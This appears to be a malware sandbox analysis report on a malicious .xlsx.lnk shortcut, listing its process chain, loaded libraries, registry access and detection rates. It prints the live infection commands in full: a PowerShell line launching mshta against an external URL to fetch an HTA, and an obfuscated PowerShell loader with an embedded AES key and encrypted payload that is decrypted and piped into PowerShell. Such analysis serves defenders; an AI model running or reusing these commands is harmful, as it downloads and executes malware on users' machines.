Code function: 23_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,FindCloseChangeNotification,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,@__unlockDebuggerData$qv,VariantClear,VariantClear,VariantClear,

23_2_004019F0

Source: C:\Users\user\AppData\Roaming\uc.exe

Code function: 19_2_02996D84 CoCreateInstance,

19_2_02996D84

Source: C:\Users\Public\Libraries\bwsiuvcU.pif

23_2_004019F0

Source: C:\Windows\System32\mshta.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\yt[1].hta

Jump to behavior

Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7696:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3720:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bx55tq2v.0tl.ps1

Jump to behavior

Source: C:\Users\user\AppData\Roaming\uc.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\UcvuiswbO.bat" "

Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Command line argument: 08A	23_2_00413780
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Command line argument: 08A	23_2_00413780
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Command line argument: 08A	23_1_00413780
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Command line argument: 08A	25_2_00413780

Source: C:\Users\user\AppData\Roaming\uc.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: [IO.Compression.CompressionMode]::Decompress);$MtMSBjEhy.CopyTo( $wDjFzJY );$MtMSBjEhy.Close();$DaRjcu.Close();[byte[]] $dVtmfGSE = $wDjFzJY.ToArray();$ghWDGW = [System.Text.Encoding]::UTF8.GetString($dVtmfGSE);$ghWDGW | powershell -@{# Script module or binary module file associated with this manifest.ModuleToProcess = 'Pester.psm1'# Version number of this module.ModuleVersion = '3.4.0'# ID used to uniquely identify this moduleGUID = 'a699dea5-2c73-4616-a270-1f7abb777e71'# Author of this moduleAuthor = 'Pester Team'# Company or vendor of this moduleCompanyName = 'Pester'# Copyright statement for this moduleCopyright = 'Copyright (c) 2016 by Pester Team, licensed under Apache 2.0 License.'# Description of the functionality provided by this moduleDescription = 'Pester provides a framework for running BDD style Tests to execute and validate PowerShell commands inside of PowerShell and offers a powerful set of Mocking Functions that allow tests to mimic and mock the functionality of any command inside of a piece of powershell code being tested. Pester tests can execute any command or script that is accesible to a pester test file. This can include functions, Cmdlets, Modules and scripts. Pester can be run in ad hoc style in a console or it can be integrated into the Build scripts of a Continuous Integration system.'# Minimum version of the Windows PowerShell engine required by this modulePowerShellVersion = '2.0'# Functions to export from this moduleFunctionsToExport = @( 'Describe', 'Context', 'It', 'Should', 'Mock', 'Assert-MockCalled', 'Assert-VerifiableMocks', 'New-Fixture', 'Get-TestDriveItem', 'Invoke-Pester', 'Setup', 'In', 'InModuleScope', 'Invoke-Mock', 'BeforeEach', 'AfterEach', 'BeforeAll', 'AfterAll' 'Get-MockDynamicParameters', 'Set-DynamicParameterVariables', 'Set-TestInconclusive', 'SafeGetCommand', 'New-PesterOption')# # Cmdlets to export from this module# CmdletsToExport = '*'# Variables to export from this moduleVariablesToExport = @( 'Path', 'TagFilter', 'ExcludeTagFilter', 'TestNameFilter', 'TestResult', 'CurrentContext', 'CurrentDescribe', 'CurrentTest', 'SessionState', 'CommandCoverage', 'BeforeEach', 'AfterEach', 'Strict')# # Aliases to export from this module# AliasesToExport = '*'# List of all modules packaged with this module# ModuleList = @()# List of all files packaged with this module# FileList = @()PrivateData = @{ # PSData is module packaging and gallery metadata embedded in PrivateData # It's for rebuilding PowerShellGet (and PoshCode) NuGet-style packages # We had to do this because it's the only place we're allowed to extend the manifest # https://connect.microsoft.com/PowerShell/feedback/details/421837 PSData = @{ # The primary categorization of this module (from the TechNet Gallery tech tree). Category = "Scripting Techniques" # Keyword tags to help users find this module

Source: C:\Users\Public\Libraries\bwsiuvcU.pif	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: FT. 40FE CNY .xlsx.lnk	ReversingLabs: Detection: 31%
Source: FT. 40FE CNY .xlsx.lnk	Virustotal: Detection: 24%

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" .(gp -pa 'HKLM:\SOF\Clas\Applications\msh*e').('PSChildName')https://www.sessosesso.it/assets/aw/yt.hta
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" https://www.sessosesso.it/assets/aw/yt.hta
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $OsFNkdw = 'AAAAAAAAAAAAAAAAAAAAAOeGa50V5wUO7zHydkcFZbJINq4P3H3RMsqOZX56v9Ct1bZUtRZkWxrChczJINV9leAt1ry1WLWkiFuSzfzQFE/yWmqaDZXsneytUPY+5le4m5eM4W+YWzERSnn/urcy8+ZTG58q1h/+BzdOb3w2O1z7QWzthSNzGxOWWNyV7TmYXZCKVR/W4Wq5ilvQCut+dsc1oHeaxo3nDd5I7/VZnRBIlxsN6HcNAACtlxfRiNFMSkDcN8+7W2lqhnFd5fXX+lgvrRG0ld6mdkV9WDBX6QjfiDRmhCmcLWUj1Bf5MNMwFNO28V0dG8tS2l8mIOdvR6aZF2v7aj+0KYrMlbdDhYWFi7OKVRA/3XZLlb5bbQDQE0oOT0JAi3+7gTkWesgJWCHgEueWTWqAMCB6A7qRzrsbpayqU/WAl9/nKC9cB9JhUjr2ITV9Ek3kErAD+eAPojoNd7bQuKjVE9tLoDwyPKo7YLWXTQF8wgZm0Ja3MfKMwkGLjtfBjT7ucygj4kLX/Zk01swB2YhhmuTYGe58LHZYGFngyyCQTKG4k9tN5i5bStEsFZehOTKeivaD+CKVo0hL0r5uz5GQB2ew8dGCUwkPmeXZvkk4B1gaPU3SmBdkVfrvuhGsjc5t6HhSZTvvp6Jz9v2fJj6ahm37dhgqwqsOIhz9dfUsra5c/+Avs0Ho38MGy4FjkP6OU6wM3P9BykwtvTRUlAfl604CotxxEOc6gE6TRnaarDiD6zmwY1sYkKEtTlG2JS0b7n2FWA1GsA==';$JIfveZK = 'cFRkUGZlWWl4R2ZHdlp1WlRocFlZR3RFVUtmamhETUc=';$UGIWRBAh = New-Object 'System.Security.Cryptography.AesManaged';$UGIWRBAh.Mode = [System.Security.Cryptography.CipherMode]::ECB;$UGIWRBAh.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$UGIWRBAh.BlockSize = 128;$UGIWRBAh.KeySize = 256;$UGIWRBAh.Key = [System.Convert]::FromBase64String($JIfveZK);$VpSlE = [System.Convert]::FromBase64String($OsFNkdw);$uBmStTPL = $VpSlE[0..15];$UGIWRBAh.IV = $uBmStTPL;$cLYZAvcnc = $UGIWRBAh.CreateDecryptor();$eVtPpVFwq = $cLYZAvcnc.TransformFinalBlock($VpSlE, 16, $VpSlE.Length - 16);$UGIWRBAh.Dispose();$DaRjcu = New-Object System.IO.MemoryStream( , $eVtPpVFwq );$wDjFzJY = New-Object System.IO.MemoryStream;$MtMSBjEhy = New-Object System.IO.Compression.GzipStream $DaRjcu, ([IO.Compression.CompressionMode]::Decompress);$MtMSBjEhy.CopyTo( $wDjFzJY );$MtMSBjEhy.Close();$DaRjcu.Close();[byte[]] $dVtmfGSE = $wDjFzJY.ToArray();$ghWDGW = [System.Text.Encoding]::UTF8.GetString($dVtmfGSE);$ghWDGW \| powershell -
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\uc.exe "C:\Users\user\AppData\Roaming\uc.exe"
Source: C:\Users\user\AppData\Roaming\uc.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\UcvuiswbO.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\uc.exe	Process created: C:\Windows\SysWOW64\extrac32.exe C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\user\AppData\Roaming\uc.exe C:\\Users\\Public\\Libraries\\Ucvuiswb.PIF
Source: C:\Users\user\AppData\Roaming\uc.exe	Process created: C:\Users\Public\Libraries\bwsiuvcU.pif C:\Users\Public\Libraries\bwsiuvcU.pif
Source: unknown	Process created: C:\Users\Public\Libraries\Ucvuiswb.PIF "C:\Users\Public\Libraries\Ucvuiswb.PIF"
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process created: C:\Users\Public\Libraries\bwsiuvcU.pif C:\Users\Public\Libraries\bwsiuvcU.pif
Source: unknown	Process created: C:\Users\Public\Libraries\Ucvuiswb.PIF "C:\Users\Public\Libraries\Ucvuiswb.PIF"
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process created: C:\Users\Public\Libraries\bwsiuvcU.pif C:\Users\Public\Libraries\bwsiuvcU.pif
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" https://www.sessosesso.it/assets/aw/yt.hta	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $OsFNkdw = 'AAAAAAAAAAAAAAAAAAAAAOeGa50V5wUO7zHydkcFZbJINq4P3H3RMsqOZX56v9Ct1bZUtRZkWxrChczJINV9leAt1ry1WLWkiFuSzfzQFE/yWmqaDZXsneytUPY+5le4m5eM4W+YWzERSnn/urcy8+ZTG58q1h/+BzdOb3w2O1z7QWzthSNzGxOWWNyV7TmYXZCKVR/W4Wq5ilvQCut+dsc1oHeaxo3nDd5I7/VZnRBIlxsN6HcNAACtlxfRiNFMSkDcN8+7W2lqhnFd5fXX+lgvrRG0ld6mdkV9WDBX6QjfiDRmhCmcLWUj1Bf5MNMwFNO28V0dG8tS2l8mIOdvR6aZF2v7aj+0KYrMlbdDhYWFi7OKVRA/3XZLlb5bbQDQE0oOT0JAi3+7gTkWesgJWCHgEueWTWqAMCB6A7qRzrsbpayqU/WAl9/nKC9cB9JhUjr2ITV9Ek3kErAD+eAPojoNd7bQuKjVE9tLoDwyPKo7YLWXTQF8wgZm0Ja3MfKMwkGLjtfBjT7ucygj4kLX/Zk01swB2YhhmuTYGe58LHZYGFngyyCQTKG4k9tN5i5bStEsFZehOTKeivaD+CKVo0hL0r5uz5GQB2ew8dGCUwkPmeXZvkk4B1gaPU3SmBdkVfrvuhGsjc5t6HhSZTvvp6Jz9v2fJj6ahm37dhgqwqsOIhz9dfUsra5c/+Avs0Ho38MGy4FjkP6OU6wM3P9BykwtvTRUlAfl604CotxxEOc6gE6TRnaarDiD6zmwY1sYkKEtTlG2JS0b7n2FWA1GsA==';$JIfveZK = 'cFRkUGZlWWl4R2ZHdlp1WlRocFlZR3RFVUtmamhETUc=';$UGIWRBAh = New-Object 'System.Security.Cryptography.AesManaged';$UGIWRBAh.Mode = [System.Security.Cryptography.CipherMode]::ECB;$UGIWRBAh.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$UGIWRBAh.BlockSize = 128;$UGIWRBAh.KeySize = 256;$UGIWRBAh.Key = [System.Convert]::FromBase64String($JIfveZK);$VpSlE = [System.Convert]::FromBase64String($OsFNkdw);$uBmStTPL = $VpSlE[0..15];$UGIWRBAh.IV = $uBmStTPL;$cLYZAvcnc = $UGIWRBAh.CreateDecryptor();$eVtPpVFwq = $cLYZAvcnc.TransformFinalBlock($VpSlE, 16, $VpSlE.Length - 16);$UGIWRBAh.Dispose();$DaRjcu = New-Object System.IO.MemoryStream( , $eVtPpVFwq );$wDjFzJY = New-Object System.IO.MemoryStream;$MtMSBjEhy = New-Object System.IO.Compression.GzipStream $DaRjcu, ([IO.Compression.CompressionMode]::Decompress);$MtMSBjEhy.CopyTo( $wDjFzJY );$MtMSBjEhy.Close();$DaRjcu.Close();[byte[]] $dVtmfGSE = $wDjFzJY.ToArray();$ghWDGW = [System.Text.Encoding]::UTF8.GetString($dVtmfGSE);$ghWDGW \| powershell -	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\uc.exe "C:\Users\user\AppData\Roaming\uc.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\UcvuiswbO.bat" "	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Process created: C:\Windows\SysWOW64\extrac32.exe C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\user\AppData\Roaming\uc.exe C:\\Users\\Public\\Libraries\\Ucvuiswb.PIF	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Process created: C:\Users\Public\Libraries\bwsiuvcU.pif C:\Users\Public\Libraries\bwsiuvcU.pif	Jump to behavior
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process created: C:\Users\Public\Libraries\bwsiuvcU.pif C:\Users\Public\Libraries\bwsiuvcU.pif
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process created: C:\Users\Public\Libraries\bwsiuvcU.pif C:\Users\Public\Libraries\bwsiuvcU.pif

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
